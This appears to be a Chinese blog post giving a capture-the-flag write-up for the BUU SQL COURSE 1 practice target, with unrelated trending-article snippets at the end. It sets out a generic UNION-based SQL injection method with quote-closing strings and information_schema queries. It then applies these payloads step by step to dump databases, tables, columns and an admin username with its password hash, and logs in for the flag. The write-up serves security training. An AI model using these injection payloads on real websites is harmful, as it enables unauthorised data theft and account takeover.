SQL注入靶机练习:BUU SQL COURSE 1
创始人
2024-01-31 15:54:25

SQL注入靶机练习:BUU SQL COURSE 1

  • 一、SQL注入知识点
  • 二、前置知识
  • 三、SQL注入测试的一般步骤
  • 四、解题过程

一、SQL注入知识点

       可参考SQL注入详解

二、前置知识

       参考来源:渗透攻防Web篇-深入浅出SQL注入
       mysql5.0以上版本中存在一个重要的系统数据库information_schema,通过此数据库可访问mysql中存在的数据库名、表名、字段名等元数据。
       information_schema中有三个表成为了sql注入构造的关键:
       1、infromation_schema.columns
            table_schema        数据库名
            table_name           表名
            column_name       列名
       2、information_schema.tables
            table_schema        数据库名
            table_name           表名
       3、information_schema.schemata
            schema_name       数据库名

三、SQL注入测试的一般步骤

1、 找到注入点
       单引号、两个单引号、and 1=1、and 1=2、or 1=1等尝试,找到对查询结果有影响的参数
2、闭合语句
       or 1=1 --+
       ’ or 1=1 --+
       " or 1=1 --+
       ) or 1=1 --+
       ‘) or 1=1 --+
       ‘)) or 1=1 --+
       ") or 1=1 --+
       ")) or 1=1 --+
       --+用于注释sql语句中的后引号,–后的+号主要作用是提供一个空格,sql语句单行注释后需有空格,+会被解码为空格
3、带入语句进行爆破
       1)order by 确认几个字段
       2)联合查询确定回显位置
            union select 1,2
       3)爆数据库版本、数据库名称、用户名称等
            union select @@version,database(),user()
       4)爆所有数据库
            union select group_concat(schema_name) from information_schema.schemata
       5)爆所有表
            union select group_concat(table_name) from information_schema.tables where table_schema =’<数据库名>’
       6)爆对应表的所有字段
            union select group_concat(column_name) from information_schema.columns where table_name=‘<表名>’
       7)爆表中数据
            union select group_concat(<字段1>,’ ',<字段2>) from <表名>

四、解题过程

1、寻找存在SQL注入的页面
       发现热点中存在测试新闻1-3,依次点击发现URL中分别对应1,2,3,存在SQL注入的可能
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
       按F12进入开发者模式可以看到对应请求的URL中存在明显的SQL查询字段:
在这里插入图片描述
       双击左侧标记区域可以进入到对应带有id=3的页面:
在这里插入图片描述
2、确定注入点
       使用and 1=1、and 1=2语句进行测试:
在这里插入图片描述
在这里插入图片描述
       可以看到两次显示结果存在不同,当and 1=2恒为假时页面无内容显示,存在SQL注入的漏洞
3、判断字段数
       分别使用的payload如下:
       id=1 order by 1
在这里插入图片描述
       id=1 order by 2
在这里插入图片描述
       id=1 order by 3
在这里插入图片描述
       当order by 超过2时会报错,所以此表共2个字段
4、确定回显位置:
       主要用于定位后端sql字段在前端显示的位置,采用联合查询的方式确定。
       id=0 union select 111,222
在这里插入图片描述
5、爆数据库版本、数据库名称
       id=0 union select @@version,database()
在这里插入图片描述
6、爆所有库
       id=0 union select 111,group_concat(schema_name) from information_schema.schemata
在这里插入图片描述
       可以得到存在的数据库有:information_schema,ctftraining,mysql,performance_schema,test,news
7、爆所有表
       id=0 union select 111,group_concat(table_name) from information_schema.tables
在这里插入图片描述
       爆指定数据库中所有表
       id=0 union select 111,group_concat(table_name) from information_schema.tables where table_schema=‘ctftraining’
在这里插入图片描述
       依次对各数据库进行爆表可得到以下数据:

数据库名表名
ctftrainingFLAG_TABLE,news,users
mysqlcolumn_stats,columns_priv,db,event,func,general_log,gtid_slave_pos,help_category,help_keyword,help_relation,help_topic,host,index_stats,innodb_index_stats,innodb_table_stats,plugin,proc,procs_priv,proxies_priv,roles_mapping,servers,slow_log,table_stats,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,transaction_registry,user
testnull
newsadmin,contents

       从表名推断可能存在用户信息的表有users、user、admin
8、爆表中所有字段
       id=0 union select 111,group_concat(column_name) from information_schema.columns where table_name=‘users’
在这里插入图片描述
依次对各表进行爆字段可得到以下数据:

表名字段名
usersid,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
userHost,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Trigger_priv,Create_tablespace_priv,Delete_history_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string,password_expired,is_role,default_role,max_statement_time
adminid,username,password
contentsid,title,content

       可能存在用户信息的有表users中的username和password字段、表user中的User和Password字段、表admin中的username、password字段
9、爆表中数据:
       id=0 union select 111,group_concat(username,’ ‘,password) from users
在这里插入图片描述
       id=0 union select 111,group_concat(username,’ ',password) from admin
在这里插入图片描述
       依次对各字段进行爆数据可得到以下结果:

表名字段名
usersusername,password
userUser,Password
adminusername,passwordadmin 21fdef4018965d7721b228b1081a64ad

10、登录界面
       admin的密码是32位,推测是使用了MD5加密,使用在线解密软件解密失败
在这里插入图片描述
       直接使用该密文登录系统后得到Flag:
在这里插入图片描述

相关内容

热门资讯

埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
音响没声音怎么回事 音响听着听... 目前专业音响设备种类繁多,这么多设备在使用当中难免会有一些各种各样的故障,有些是设备本身的故障(硬故...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用,包括头部穴位图、胸部穴位图、背部穴位图、胳...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗?塑料袋放久了会长猫哦!要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
ppt插入pdf ppt根据页... PPT目录页的实际内容,往往只有几行字,怎么摆都感觉有点单薄。因此我做了这个按钮,点一下,自动识别内...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...